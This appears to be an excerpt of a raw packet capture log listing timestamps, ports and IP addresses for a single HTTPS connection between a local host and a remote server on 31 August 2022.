Aug 31, 2022 14:28:59.941306114 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.941327095 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.941390991 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.941406012 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.941440105 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.941464901 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.942126989 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.942152977 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.942251921 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.942269087 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.942332029 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.942352057 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.942370892 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.942435980 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.942454100 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.942473888 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.942516088 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.943140030 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.943165064 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.943233013 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.943248987 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.943265915 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.943296909 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.943689108 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.943711996 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.943789959 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.943806887 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.943866968 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.943880081 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.944509983 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.944530964 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.944602013 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.944626093 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.944647074 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.944681883 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.944786072 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.944808006 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.944982052 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.945005894 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.945060968 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.945441961 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.945463896 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.945540905 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.945558071 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.945585966 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.945610046 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.945657969 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.945678949 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.945739985 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.945758104 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.945776939 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.945800066 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.946311951 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.946443081 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.946460962 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.946568966 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.946624994 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.946640015 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.946696997 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.947210073 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.947232962 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.947331905 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.947369099 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.947434902 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.947443962 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.947458982 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.947501898 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.947525978 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.947555065 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.947570086 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.947591066 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.947622061 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.949700117 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.971915960 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.971944094 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.972079039 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.972151995 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.972197056 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.972225904 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.972290993 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.972974062 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.972997904 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.973108053 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.973134995 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.973766088 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.973788023 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.973907948 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.973929882 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.973956108 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.973979950 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.974047899 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.974078894 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.974102020 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.974751949 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.974776983 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.974875927 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.974903107 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.974931955 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.975142002 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.975161076 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.975229025 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.975250006 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.975271940 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.975905895 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.975927114 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.976008892 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.976028919 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.976056099 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.976131916 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.976150036 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.976203918 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.976226091 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.976247072 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.976921082 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.976944923 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.977030993 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.977046967 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.977066994 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.977123022 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.977145910 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.977199078 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.977217913 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.977238894 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.977963924 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.977988958 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.978086948 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.978118896 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.978137970 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.978779078 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.978804111 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.978892088 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.978910923 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.978935957 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.978972912 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.978990078 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.979043961 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.979058027 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.979074001 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.979768991 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.979792118 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.979875088 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.979897022 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.979917049 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.980249882 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.980273962 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.980412006 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.980432987 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.980993986 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.981014967 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.981103897 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.981122017 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.981148958 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.981195927 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.981218100 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.981276989 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.981297016 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.981327057 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.982037067 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.982058048 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.982156992 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.982184887 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.982203007 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.982796907 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.982820034 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.982913017 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.982933998 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.982960939 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.983040094 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.983057976 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.983128071 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.983158112 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.983185053 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.983836889 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.983859062 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.983958960 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.983979940 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.983999014 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.984045029 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.984067917 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.984123945 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.984146118 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.984174013 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.985029936 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.985049963 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.985146999 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.985167027 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.985187054 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.985301018 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.985318899 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.985377073 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.985397100 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.985425949 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.986145973 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.986170053 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.986283064 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.986310005 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.986331940 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.986520052 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.986546040 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.986608982 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.986625910 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.986641884 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.987159967 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.987180948 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.987266064 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.987286091 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.987304926 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.987858057 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.987876892 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.987960100 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.987979889 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.987998009 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.988066912 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.988085985 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.988137007 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.988153934 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.988173962 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.988909960 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.988929987 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.989007950 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.989023924 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.989041090 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.989104033 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.989126921 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.989176035 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.989190102 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.989207029 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.990166903 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.990187883 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.990286112 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.990307093 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.990322113 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.990376949 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.990401983 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.990454912 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.990473986 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.990490913 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.991147995 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.991170883 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.991255045 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.991271019 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.991286993 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.991807938 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.991926908 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.991949081 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.992038012 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.992053986 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.992072105 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.992147923 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.992166042 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.992217064 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.992235899 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.992288113 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.993033886 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.993055105 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.993149042 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.993164062 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.993181944 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.993324995 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.993344069 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.993397951 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.993417025 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.993436098 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.994127035 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.994146109 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.994231939 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.994254112 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.994290113 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.994817019 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.994836092 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.994930029 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.994960070 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.994980097 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.995290995 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.995307922 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.995409966 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.995433092 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.995451927 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.995515108 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.995536089 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.995599031 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.995621920 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.995637894 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.996287107 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.996304989 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.996386051 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.996403933 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.996445894 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.997054100 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.997071028 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.997153044 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.997173071 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.997200012 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.997344017 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.997361898 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.997443914 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.997463942 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.997512102 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.998080969 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.998099089 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.998189926 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.998209953 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.998228073 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.002625942 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.002650023 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.002769947 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.002795935 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.002851963 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.002868891 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.002937078 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.002952099 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.005491018 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.005515099 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.005618095 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.005645990 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.005702019 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.005740881 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.005758047 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.005827904 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.005841017 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.005877018 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.006545067 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.006565094 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.006661892 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.006681919 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.006724119 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.006795883 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.006813049 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.006875038 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.006891966 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.006928921 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.007596970 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.007616997 CEST	443	49745	172.67.202.54	192.168.2.4
